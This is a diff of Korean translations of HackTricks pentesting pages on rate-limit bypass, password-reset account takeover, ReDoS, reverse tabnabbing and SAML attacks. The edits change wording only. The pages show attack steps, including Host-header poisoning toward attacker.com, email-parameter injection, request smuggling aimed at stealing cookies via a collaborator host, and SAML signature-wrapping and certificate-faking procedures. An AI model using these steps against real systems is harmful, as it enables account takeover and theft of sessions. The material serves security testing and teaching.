## **웹소켓의 RC**
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)에서 웹소켓 메시지를 **병렬로** 전송하여 **웹소켓에서도 경쟁 조건을 악용하는** PoC를 찾을 수 있습니다.
[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)에서 **웹소켓** 메시지를 **병렬로** 전송하여 **웹소켓에서도 경쟁 조건을 악용**하는 Java PoC를 찾을 수 있습니다.
## 참고 문헌

View File

@ -34,7 +34,7 @@ user-agent 및 쿠키와 같은 다른 요청 헤더를 변경하는 것이 권
### API 게이트웨이 동작 활용하기
일부 API 게이트웨이는 엔드포인트와 매개변수의 조합에 따라 속도 제한을 적용하도록 구성되어 있습니다. 매개변수 값을 변경하거나 요청에 중요하지 않은 매개변수를 추가함으로써 게이트웨이의 속도 제한 논리를 우회할 수 있으며, 각 요청이 고유하게 보이도록 만들 수 있습니다. 예를 들어 `/resetpwd?someparam=1`.
일부 API 게이트웨이는 엔드포인트와 매개변수의 조합에 따라 속도 제한을 적용하도록 구성되어 있습니다. 매개변수 값을 변경하거나 중요하지 않은 매개변수를 요청에 추가함으로써 게이트웨이의 속도 제한 논리를 우회할 수 있으며, 각 요청이 고유하게 보이도록 만들 수 있습니다. 예를 들어 `/resetpwd?someparam=1`.
### 각 시도 전에 계정에 로그인하기
@ -42,7 +42,7 @@ user-agent 및 쿠키와 같은 다른 요청 헤더를 변경하는 것이 권
### 프록시 네트워크 활용하기
여러 IP 주소에 요청을 분산시키기 위해 프록시 네트워크를 배포하면 IP 기반 속도 제한을 효과적으로 우회할 수 있습니다. 다양한 프록시를 통해 트래픽을 라우팅함으로써 각 요청이 다른 출처에서 발생하는 것처럼 보이게 하여 속도 제한의 효과를 희석시킬 수 있습니다.
여러 IP 주소에 요청을 분산시키기 위해 프록시 네트워크를 배포하면 IP 기반 속도 제한을 효과적으로 우회할 수 있습니다. 다양한 프록시를 통해 트래픽을 라우팅하면 각 요청이 다른 출처에서 발생하는 것처럼 보이므로 속도 제한의 효과가 희석됩니다.
### 다른 계정이나 세션에 공격 분산하기
@ -50,6 +50,6 @@ user-agent 및 쿠키와 같은 다른 요청 헤더를 변경하는 것이 권
### 계속 시도하기
속도 제한이 설정되어 있더라도 유효한 OTP가 전송될 때 응답이 다른지 확인해 보아야 합니다. [**이 게시물**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)에서 버그 헌터는 20번의 실패한 시도 후 401로 응답하더라도 속도 제한이 발생하더라도 유효한 OTP가 전송되면 200 응답을 받았다는 것을 발견했습니다.
속도 제한이 설정되어 있더라도 유효한 OTP가 전송될 때 응답이 다른지 확인해 보아야 합니다. [**이 게시물**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732)에서 버그 헌터는 20번의 실패한 시도 후 401로 응답하 속도 제한이 발생하더라도 유효한 OTP가 전송되면 200 응답을 받았다는 것을 발견했습니다.
{{#include ../banners/hacktricks-training.md}}

View File

@ -27,7 +27,7 @@
### SQL 인젝션
[**이 페이지를 확인하세요** ](sql-injection/#insert-statement)계정 인수 또는 **SQL 인젝션**을 통해 정보 추출하는 방법을 배우세요.
[**이 페이지를 확인하세요** ](sql-injection/#insert-statement)계정 인수 또는 **SQL 인젝션**을 통해 정보 추출을 시도하는 방법을 배우세요.
### Oauth 인수
@ -47,29 +47,29 @@ saml-attacks/
### 추가 확인 사항
- **일회용 이메일** 사용 여부 확인
- **일회용 이메일** 사용 가능 여부 확인
- **긴** **비밀번호** (>200)는 **DoS**로 이어짐
- **계정 생성에 대한 비율 제한 확인**
- username@**burp_collab**.net을 사용하고 **콜백**을 분석하세요.
- username@**burp_collab**.net을 사용하고 **콜백** 분석
## **비밀번호 재설정 인수**
### 참조자를 통한 비밀번호 재설정 토큰 유출 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. 비밀번호 재설정을 위해 이메일 주소로 요청하세요.
2. 비밀번호 재설정 링크 클릭하세요.
3. 비밀번호를 변경하지 마세요.
4. 3자 웹사이트(예: Facebook, Twitter)를 클릭하세요.
5. Burp Suite 프록시에서 요청을 가로채세요.
1. 비밀번호 재설정을 위해 이메일 주소로 요청
2. 비밀번호 재설정 링크 클릭
3. 비밀번호 변경하지 않기
4. 3자 웹사이트 클릭 (예: Facebook, Twitter)
5. Burp Suite 프록시에서 요청 가로채기
6. referer 헤더가 비밀번호 재설정 토큰을 유출하는지 확인하세요.
### 비밀번호 재설정 중독 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Burp Suite에서 비밀번호 재설정 요청을 가로채세요.
2. Burp Suite에서 다음 헤더를 추가하거나 수정하세요: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 수정된 헤더로 요청 전달하세요.\
1. Burp Suite에서 비밀번호 재설정 요청 가로채기
2. Burp Suite에서 다음 헤더 추가 또는 수정: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 수정된 헤더로 요청 전달\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL을 찾으세요: `https://attacker.com/reset-password.php?token=TOKEN`
4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL 찾기: `https://attacker.com/reset-password.php?token=TOKEN`
### 이메일 매개변수를 통한 비밀번호 재설정 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
@ -98,12 +98,12 @@ email=victim@mail.com|hacker@mail.com
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다.\
토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 다음 변수들이 알고리즘에 사용될 수 있습니다.
토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 알고리즘에 사용될 수 있는 변수는 다음과 같습니다.
- 타임스탬프
- 사용자 ID
- 사용자 이메일
- 이름
- 이름
- 생년월일
- 암호화
- 숫자만
@ -129,15 +129,15 @@ email=victim@mail.com|hacker@mail.com
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. 애플리케이션 내 또는 쿠키가 상위 도메인에 범위가 지정된 경우 서브도메인에서 XSS를 찾습니다: `*.domain.com`
1. 애플리케이션 내 또는 쿠키가 상위 도메인에 범위가 지정된 경우 하위 도메인에서 XSS를 찾습니다: `*.domain.com`
2. 현재 **세션 쿠키**를 유출합니다.
3. 쿠키를 사용하여 사용자로 인증합니다.
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. **smuggler**를 사용하여 HTTP 요청 밀반입 유형을 감지합니다 (CL, TE, CL.TE)\
1\. **smuggler**를 사용하여 HTTP 요청 밀수의 유형을 감지합니다 (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. 다음 데이터 `POST / HTTP/1.1`를 덮어쓸 요청을 작성합니다:\
2\. 다음 데이터를 사용하여 `POST / HTTP/1.1`를 덮어쓸 요청을 작성합니다:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 피해자를 burpcollab로 리디렉션하고 쿠키를 훔치는 것이 목표입니다.\
3\. 최종 요청은 다음과 같을 수 있습니다.
```

View File

@ -4,7 +4,7 @@
# 정규 표현식 서비스 거부 (ReDoS)
**정규 표현식 서비스 거부 (ReDoS)**는 누군가가 정규 표현식(텍스트에서 패턴을 검색하고 일치시키는 방법)의 작동 방식의 약점을 이용할 때 발생합니다. 때때로 정규 표현식을 사용할 때, 처리하는 텍스트 조각이 커질수록 매우 느려질 수 있습니다. 이 느림은 텍스트 크기가 조금만 증가해도 매우 빠르게 증가할 수 있습니다. 공격자는 이 문제를 이용하여 정규 표현식을 사용하는 프로그램이 오랫동안 제대로 작동하지 않도록 만들 수 있습니다.
**정규 표현식 서비스 거부 (ReDoS)**는 누군가가 정규 표현식(텍스트에서 패턴을 검색하고 일치시키는 방법)의 작동 방식의 약점을 이용할 때 발생합니다. 때때로 정규 표현식이 사용될 때, 처리하는 텍스트 조각이 커질수록 매우 느려질 수 있습니다. 이 느림은 텍스트 크기가 조금만 증가해도 매우 빠르게 증가할 수 있습니다. 공격자는 이 문제를 이용하여 정규 표현식을 사용하는 프로그램이 오랫동안 제대로 작동하지 않도록 만들 수 있습니다.
## 문제의 정규 표현식 단순 알고리즘

View File

@ -6,7 +6,7 @@
- HTTP referer 헤더는 URL에 포함된 경우 비밀번호 재설정 토큰을 유출할 수 있습니다. 이는 사용자가 비밀번호 재설정을 요청한 후 제3자 웹사이트 링크를 클릭할 때 발생할 수 있습니다.
- **영향**: 교차 사이트 요청 위조(CSRF) 공격을 통한 계정 탈취 가능성.
- **악용**: referer 헤더에서 비밀번호 재설정 토큰이 유출되고 있는지 확인하려면, **비밀번호 재설정을 요청**하여 이메일 주소로 보내고 **제공된 재설정 링크를 클릭**하십시오. **즉시 비밀번호를 변경하지 마십시오**. 대신, **Burp Suite를 사용하여 요청을 가로채면서** **제3자 웹사이트**(예: Facebook 또는 Twitter)로 이동하십시오. 요청을 검사하여 **referer 헤더에 비밀번호 재설정 토큰이 포함되어 있는지** 확인하십시오. 이는 제3자에게 민감한 정보를 노출할 수 있습니다.
- **악용**: referer 헤더에서 비밀번호 재설정 토큰이 유출되고 있는지 확인하려면, **비밀번호 재설정을 요청**하여 이메일 주소로 **재설정 링크를 클릭**하십시오. **즉시 비밀번호를 변경하지 마십시오**. 대신, **Burp Suite를 사용하여 요청을 가로채면서** **제3자 웹사이트**(예: Facebook 또는 Twitter)로 이동하십시오. 요청을 검사하여 **referer 헤더에 비밀번호 재설정 토큰이 포함되어 있는지** 확인하십시오. 이는 제3자에게 민감한 정보를 노출할 수 있습니다.
- **참조**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
@ -15,11 +15,11 @@
## **비밀번호 재설정 중독**
- 공격자는 비밀번호 재설정 요청 중에 Host 헤더를 조작하여 재설정 링크를 악성 사이트로 유도할 수 있습니다.
- **영향**: 재설정 토큰이 공격자에게 유출되어 계정 탈취 가능성.
- **영향**: 재설정 토큰을 공격자에게 유출하여 계정 탈취 가능성.
- **완화 조치**:
- 허용된 도메인의 화이트리스트에 대해 Host 헤더를 검증하십시오.
- 절대 URL을 생성하기 위해 안전한 서버 측 방법을 사용하십시오.
- **패치**: `$_SERVER['HTTP_HOST']` 대신 `$_SERVER['SERVER_NAME']`을 사용하여 비밀번호 재설정 URL을 구성하십시오.
- 허용된 도메인의 화이트리스트에 대해 Host 헤더를 검증합니다.
- 절대 URL을 생성하기 위해 안전한 서버 측 방법을 사용합니다.
- **패치**: `$_SERVER['HTTP_HOST']` 대신 `$_SERVER['SERVER_NAME']`을 사용하여 비밀번호 재설정 URL을 구성합니다.
- **참조**:
- [비밀번호 재설정 중독에 대한 Acunetix 기사](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
@ -27,7 +27,7 @@
공격자는 추가 이메일 매개변수를 추가하여 비밀번호 재설정 요청을 조작하여 재설정 링크를 전환할 수 있습니다.
- &를 사용하여 두 번째 매개변수로 공격자 이메일 추가
- &를 사용하여 공격자 이메일을 두 번째 매개변수로 추가합니다.
```php
POST /resetPassword
[...]
@ -70,7 +70,7 @@ POST /resetPassword
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **완화 단계**:
- 서버 측에서 이메일 매개변수를 적절하게 구문 분석하고 검증합니다.
- 이메일 매개변수를 서버 측에서 적절하게 구문 분석하고 검증합니다.
- 주입 공격을 방지하기 위해 준비된 문이나 매개변수화된 쿼리를 사용합니다.
- **참조**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)

View File

@ -63,7 +63,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
- **`opener.closed`**: 이 속성은 창이 닫혔는지 여부를 확인하기 위해 접근되며, 불리언 값을 반환합니다.
- **`opener.frames`**: 이 속성은 현재 창 내의 모든 iframe 요소에 대한 접근을 제공합니다.
- **`opener.length`**: 현재 창에 존재하는 iframe 요소의 수를 이 속성이 반환합니다.
- **`opener.opener`**: 이 속성을 통해 현재 창을 연 창에 대한 참조를 얻을 수 있습니다.
- **`opener.opener`**: 현재 창을 연 창에 대한 참조를 이 속성을 통해 얻을 수 있습니다.
- **`opener.parent`**: 이 속성은 현재 창의 부모 창을 반환합니다.
- **`opener.self`**: 이 속성은 현재 창 자체에 대한 접근을 제공합니다.
- **`opener.top`**: 이 속성은 가장 상위의 브라우저 창을 반환합니다.

View File

@ -16,7 +16,7 @@ saml-basics.md
## XML 왕복
XML에서 XML의 서명된 부분은 메모리에 저장되고, 그 다음 인코딩/디코딩이 수행되며 서명이 확인됩니다. 이상적으로 그 인코딩/디코딩은 데이터를 변경하지 않아야 하지만, 그 시나리오에 기반할 때, **확인되는 데이터와 원본 데이터는 같지 않을 수 있습니다**.
XML에서 XML의 서명된 부분은 메모리에 저장되고, 그 후 일부 인코딩/디코딩이 수행되며 서명이 확인됩니다. 이상적으로 그 인코딩/디코딩은 데이터를 변경하지 않아야 하지만, 그 시나리오에 기반할 때, **확인되는 데이터와 원본 데이터는 같지 않을 수 있습니다**.
예를 들어, 다음 코드를 확인하십시오:
```ruby
@ -33,7 +33,7 @@ puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
REXML 3.2.4 또는 이전 버전에서 프로그램을 실행하면 대신 다음과 같은 출력이 생성됩니다:
REXML 3.2.4 또는 그 이전 버전에서 프로그램을 실행하면 다음과 같은 출력이 대신 나타납니다:
```
First child in original doc: Y
First child after round-trip: Z
@ -46,16 +46,16 @@ REXML이 위 프로그램의 원래 XML 문서를 본 방식은 다음과 같습
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
취약점 및 이를 악용하는 방법에 대한 자세한 정보는 다음을 참조하십시오:
취약점 및 이를 악용하는 방법에 대한 자세한 정보는 다음을 참조하세요:
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## XML 서명 래핑 공격
**XML 서명 래핑 공격(XSW)**에서는 적들이 XML 문서가 두 가지 별도의 단계인 **서명 검증**과 **함수 호출**을 통해 처리될 때 발생하는 취약점을 악용합니다. 이러한 공격은 XML 문서 구조를 변경하는 것을 포함합니다. 구체적으로, 공격자는 XML 서명의 유효성을 손상시키지 않는 **위조된 요소**를 주입합니다. 이 조작은 **애플리케이션 로직**에서 분석되는 요소와 **서명 검증 모듈**에서 확인되는 요소 간의 불일치를 생성하는 것을 목표로 합니다. 결과적으로 XML 서명은 기술적으로 유효하며 검증을 통과하지만, 애플리케이션 로직은 **사기성 요소**를 처리합니다. 따라서 공격자는 XML 서명의 **무결성 보호** 및 **출처 인증**을 효과적으로 우회하여 **임의의 콘텐츠 주입**을 탐지 없이 수행할 수 있습니다.
**XML 서명 래핑 공격(XSW)**에서는 적대자가 XML 문서가 두 가지 별도의 단계인 **서명 검증**과 **함수 호출**을 통해 처리될 때 발생하는 취약점을 악용합니다. 이러한 공격은 XML 문서 구조를 변경하는 것을 포함합니다. 구체적으로, 공격자는 XML 서명의 유효성을 손상시키지 않는 **위조된 요소**를 주입합니다. 이 조작은 **애플리케이션 로직**에서 분석되는 요소와 **서명 검증 모듈**에서 확인되는 요소 간의 불일치를 생성하는 것을 목표로 합니다. 결과적으로 XML 서명은 기술적으로 유효하며 검증을 통과하지만, 애플리케이션 로직은 **사기성 요소**를 처리합니다. 따라서 공격자는 XML 서명의 **무결성 보호** 및 **출처 인증**을 효과적으로 우회하여 **임의의 콘텐츠 주입**을 탐지 없이 수행할 수 있습니다.
다음 공격은 [**이 블로그 게시물**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **및** [**이 논문**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)을 기반으로 합니다. 따라서 추가 세부정보는 해당 내용을 확인하십시오.
다음 공격은 [**이 블로그 게시물**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **및** [**이 논문**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)을 기반으로 합니다. 따라서 추가 세부정보는 해당 자료를 확인하세요.
### XSW #1
@ -67,7 +67,7 @@ REXML이 위 프로그램의 원래 XML 문서를 본 방식은 다음과 같습
### XSW #2
- **XSW #1과의 차이점**: 포장 서명 대신 분리된 서명을 사용합니다.
- **의미**: XSW #1과 유사한 "악의적인" 구조는 무결성 검사를 통과한 후 비즈니스 로직을 속이기 위한 것입니다.
- **의미**: XSW #1과 유사한 "악의적인" 구조는 무결성 검사를 통과한 후 비즈니스 로직을 속이려는 목적입니다.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
@ -102,7 +102,7 @@ REXML이 위 프로그램의 원래 XML 문서를 본 방식은 다음과 같습
### XSW #7
- **전략**: 복사된 어설션을 자식으로 하는 Extensions 요소가 삽입됩니다.
- **의미**: 이 요소는 Extensions 요소의 덜 제한적인 스키마를 악용하여 OpenSAML과 같은 라이브러리에서 스키마 검증 방어 수단을 우회합니다.
- **의미**: 이 공격은 Extensions 요소의 덜 제한적인 스키마를 악용하여 OpenSAML과 같은 라이브러리에서 스키마 검증 방어 수단을 우회합니다.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
@ -119,13 +119,13 @@ Burp 확장 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4
## XXE
XXE 공격이 어떤 것인지 모른다면 다음 페이지를 읽어보십시오:
XXE 공격이 어떤 것인지 모른다면 다음 페이지를 읽어보세요:
{{#ref}}
../xxe-xee-xml-external-entity.md
{{#endref}}
SAML 응답은 **압축 해제되고 base64로 인코딩된 XML 문서**이며 XML 외부 엔티(XXE) 공격에 취약할 수 있습니다. SAML 응답의 XML 구조를 조작함으로써 공격자는 XXE 취약점을 악용하려고 시도할 수 있습니다. 이러한 공격이 어떻게 시각화될 수 있는지 다음과 같습니다:
SAML 응답은 **압축 해제되고 base64로 인코딩된 XML 문서**이며 XML 외부 엔티(XXE) 공격에 취약할 수 있습니다. SAML 응답의 XML 구조를 조작함으로써 공격자는 XXE 취약점을 악용하려고 시도할 수 있습니다. 이러한 공격이 어떻게 시각화될 수 있는지 다음과 같습니다:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -157,7 +157,7 @@ XSLT에 대한 자세한 정보는 다음을 참조하세요:
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
확장 가능한 스타일시트 언어 변환( XSLT )은 XML 문서를 HTML, JSON 또는 PDF와 같은 다양한 형식으로 변환하는 데 사용할 수 있습니다. **XSLT 변환은 디지털 서명의 검증 전에 수행된다는 점을 주의해야 합니다.** 이는 유효한 서명이 없더라도 공격이 성공할 수 있음을 의미합니다. 자체 서명된 서명이나 유효하지 않은 서명으로도 진행할 수 있습니다.
확장 가능한 스타일시트 언어 변환( XSLT )은 XML 문서를 HTML, JSON 또는 PDF와 같은 다양한 형식으로 변환하는 데 사용할 수 있습니다. **XSLT 변환은 디지털 서명의 검증 전에 수행된다는 점이 중요합니다.** 이는 유효한 서명이 없더라도 공격이 성공할 수 있음을 의미합니다. 자체 서명된 서명이나 유효하지 않은 서명으로도 진행할 수 있습니다.
여기에서 이러한 종류의 취약점을 확인할 수 있는 **POC**를 찾을 수 있으며, 이 섹션의 시작 부분에 언급된 hacktricks 페이지에서 페이로드를 찾을 수 있습니다.
```xml
@ -179,51 +179,51 @@ XSLT에 대한 자세한 정보는 다음을 참조하세요:
...
</ds:Signature>
```
### Tool
### 도구
Burp 확장 프로그램 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)를 사용하여 SAML 요청에서 POC를 생성하여 가능한 XSLT 취약점을 테스트할 수 있습니다.
또한 이 강연도 확인해 보세요: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
## XML 서명 제외 <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
**XML Signature Exclusion**은 Signature 요소가 없을 때 SAML 구현의 동작을 관찰합니다. 이 요소가 누락되면 **서명 검증이 발생하지 않을 수 있으며**, 이는 취약점을 초래합니다. 서명에 의해 일반적으로 검증되는 내용을 변경하여 이를 테스트할 수 있습니다.
**XML 서명 제외**는 서명 요소가 없을 때 SAML 구현의 동작을 관찰합니다. 이 요소가 누락되면 **서명 검증이 발생하지 않을 수 있으며**, 이는 취약점을 초래합니다. 서명에 의해 일반적으로 검증되는 내용을 변경하여 이를 테스트할 수 있습니다.
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
### 도구 <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
Burp 확장 프로그램 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)를 사용할 수 있습니다. SAML 응답을 가로채고 `Remove Signatures`를 클릭합니다. 이렇게 하면 **모든** Signature 요소가 제거됩니다.
Burp 확장 프로그램 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)를 사용할 수 있습니다. SAML 응답을 가로채고 `Remove Signatures`를 클릭합니다. 이렇게 하면 **모든** 서명 요소가 제거됩니다.
서명이 제거된 상태에서 요청이 대상에게 진행되도록 허용합니다. 서비스에서 서명이 필요하지 않다면
서명이 제거된 상태에서 요청이 대상에게 진행되도록 허용합니다. 서비스에서 서명이 필요하지 않은 경우
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
## 인증서 위조 <a href="#certificate-faking" id="certificate-faking"></a>
## Certificate Faking
## 인증서 위조
Certificate Faking은 **서비스 제공자(SP)가 SAML 메시지가 신뢰할 수 있는 ID 공급자(IdP)에 의해 서명되었는지 제대로 검증하는지 테스트하는 기술**입니다. 이는 SAML 응답 또는 주장을 서명하기 위해 \***자체 서명된 인증서**를 사용하는 것을 포함하며, SP와 IdP 간의 신뢰 검증 프로세스를 평가하는 데 도움이 됩니다.
인증서 위조는 **서비스 제공자(SP)가 SAML 메시지가 신뢰할 수 있는 ID 공급자(IdP)에 의해 서명되었는지 제대로 검증하는지 테스트하는 기술**입니다. 이는 SAML 응답 또는 주장을 서명하기 위해 \***자체 서명된 인증서**를 사용하는 것을 포함하며, SP와 IdP 간의 신뢰 검증 프로세스를 평가하는 데 도움이 됩니다.
### How to Conduct Certificate Faking
### 인증서 위조 수행 방법
다음 단계는 [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp 확장을 사용하여 프로세스를 설명합니다:
1. SAML 응답을 가로챕니다.
2. 응답에 서명이 포함되어 있으면 `Send Certificate to SAML Raider Certs` 버튼을 사용하여 인증서를 SAML Raider Certs로 보냅니다.
3. SAML Raider Certificates 탭에서 가져온 인증서를 선택하고 `Save and Self-Sign`을 클릭하여 원본 인증서의 자체 서명된 복제본을 생성합니다.
4. Burp의 프록시에서 가로챈 요청으로 돌아갑니다. XML Signature 드롭다운에서 새 자체 서명된 인증서를 선택합니다.
3. SAML Raider 인증서 탭에서 가져온 인증서를 선택하고 `Save and Self-Sign`을 클릭하여 원래 인증서의 자체 서명된 복제본을 생성합니다.
4. Burp의 프록시에서 가로챈 요청으로 돌아갑니다. XML 서명 드롭다운에서 새 자체 서명된 인증서를 선택합니다.
5. `Remove Signatures` 버튼을 사용하여 기존 서명을 제거합니다.
6. 적절한 경우 **`(Re-)Sign Message`** 또는 **`(Re-)Sign Assertion`** 버튼을 사용하여 새 인증서로 메시지 또는 주장을 서명합니다.
7. 서명된 메시지를 전달합니다. 성공적인 인증은 SP가 자체 서명된 인증서로 서명된 메시지를 수락함을 나타내며, SAML 메시지의 검증 프로세스에서 잠재적인 취약점을 드러냅니다.
7. 서명된 메시지를 전달합니다. 성공적인 인증은 SP가 귀하의 자체 서명된 인증서로 서명된 메시지를 수락함을 나타내며, SAML 메시지의 검증 프로세스에서 잠재적인 취약점을 드러냅니다.
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
## 토큰 수신자 혼동 / 서비스 제공자 대상 혼동 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Token Recipient Confusion 및 Service Provider Target Confusion**서비스 제공자가 응답의 의도된 수신자를 올바르게 검증하는지 확인하는 것**을 포함합니다. 본질적으로, 서비스 제공자는 다른 제공자를 위해 의도된 경우 인증 응답을 거부해야 합니다. 여기서 중요한 요소는 SAML 응답의 **SubjectConfirmationData** 요소 내에 있는 **Recipient** 필드입니다. 이 필드는 Assertion이 전송되어야 하는 URL을 지정합니다. 실제 수신자가 의도된 서비스 제공자와 일치하지 않으면 Assertion은 유효하지 않은 것으로 간주되어야 합니다.
토큰 수신자 혼동 및 서비스 제공자 대상 혼동**서비스 제공자가 응답의 의도된 수신자를 올바르게 검증하는지 확인하는 것**을 포함합니다. 본질적으로, 서비스 제공자는 다른 제공자를 위해 의도된 경우 인증 응답을 거부해야 합니다. 여기서 중요한 요소는 SAML 응답의 **SubjectConfirmationData** 요소 내에 있는 **Recipient** 필드입니다. 이 필드는 주장이 전송되어야 하는 URL을 지정합니다. 실제 수신자가 의도된 서비스 제공자와 일치하지 않으면 주장은 유효하지 않은 것으로 간주되어야 합니다.
#### **How It Works**
#### **작동 방식**
SAML Token Recipient Confusion (SAML-TRC) 공격이 가능하려면 특정 조건이 충족되어야 합니다. 첫째, 서비스 제공자(SP-Legit)에 유효한 계정이 있어야 합니다. 둘째, 타겟 서비스 제공자(SP-Target)는 SP-Legit에 서비스를 제공하는 동일한 ID 공급자로부터 토큰을 수락해야 합니다.
SAML 토큰 수신자 혼동(SAML-TRC) 공격이 가능하려면 특정 조건이 충족되어야 합니다. 첫째, 서비스 제공자(SP-Legit)에 유효한 계정이 있어야 합니다. 둘째, 목표 서비스 제공자(SP-Target)는 SP-Legit에 서비스를 제공하는 동일한 ID 공급자로부터 토큰을 수락해야 합니다.
이러한 조건에서 공격 프로세스는 간단합니다. 공유 ID 공급자를 통해 SP-Legit와의 인증 세션이 시작됩니다. ID 공급자로부터 SP-Legit으로의 SAML 응답이 가로채집니다. 이 가로챈 SAML 응답은 원래 SP-Legit을 위해 의도된 것이며, SP-Target으로 리디렉션됩니다. 이 공격의 성공은 SP-Target이 Assertion을 수락하여 SP-Legit에 사용된 동일한 계정 이름으로 리소스에 접근할 수 있도록 하는 것입니다.
이러한 조건에서 공격 프로세스는 간단합니다. 공유 ID 공급자를 통해 SP-Legit와의 인증 세션이 시작됩니다. ID 공급자로부터 SP-Legit으로의 SAML 응답이 가로채집니다. 이 가로챈 SAML 응답은 원래 SP-Legit을 위해 의도된 것이며, SP-Target으로 리디렉션됩니다. 이 공격의 성공은 SP-Target이 주장을 수락하여 SP-Legit에 사용된 동일한 계정 이름으로 리소스에 대한 접근을 허용하는지에 의해 측정됩니다.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@ -262,7 +262,7 @@ https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarb
[이 연구에서](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) 도구는 동일한 라이브러리를 사용하는 도메인에 대해 `uberinternal.com`의 하위 도메인을 분석하는 데 사용되었습니다. 이후 `oidauth/prompt` 페이지를 타겟으로 하는 스크립트가 개발되었습니다. 이 스크립트는 데이터를 입력하고 출력에 반영되는지 확인하여 XSS (교차 사이트 스크립팅)를 테스트합니다. 입력이 실제로 반영되는 경우, 스크립트는 해당 페이지를 취약하다고 표시합니다.
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) 도구가 동일한 라이브러리를 사용하는 `uberinternal.com`의 서브 도메인을 분석하는 데 사용되었습니다. 이후 `oidauth/prompt` 페이지를 타겟으로 하는 스크립트가 개발되었습니다. 이 스크립트는 데이터를 입력하고 출력에 반영되는지 확인하여 XSS (교차 사이트 스크립팅)를 테스트합니다. 입력이 실제로 반영되는 경우, 스크립트는 해당 페이지를 취약하다고 표시합니다.
```python
import requests
import urllib3

View File

@ -2,7 +2,7 @@
# SAML 개요
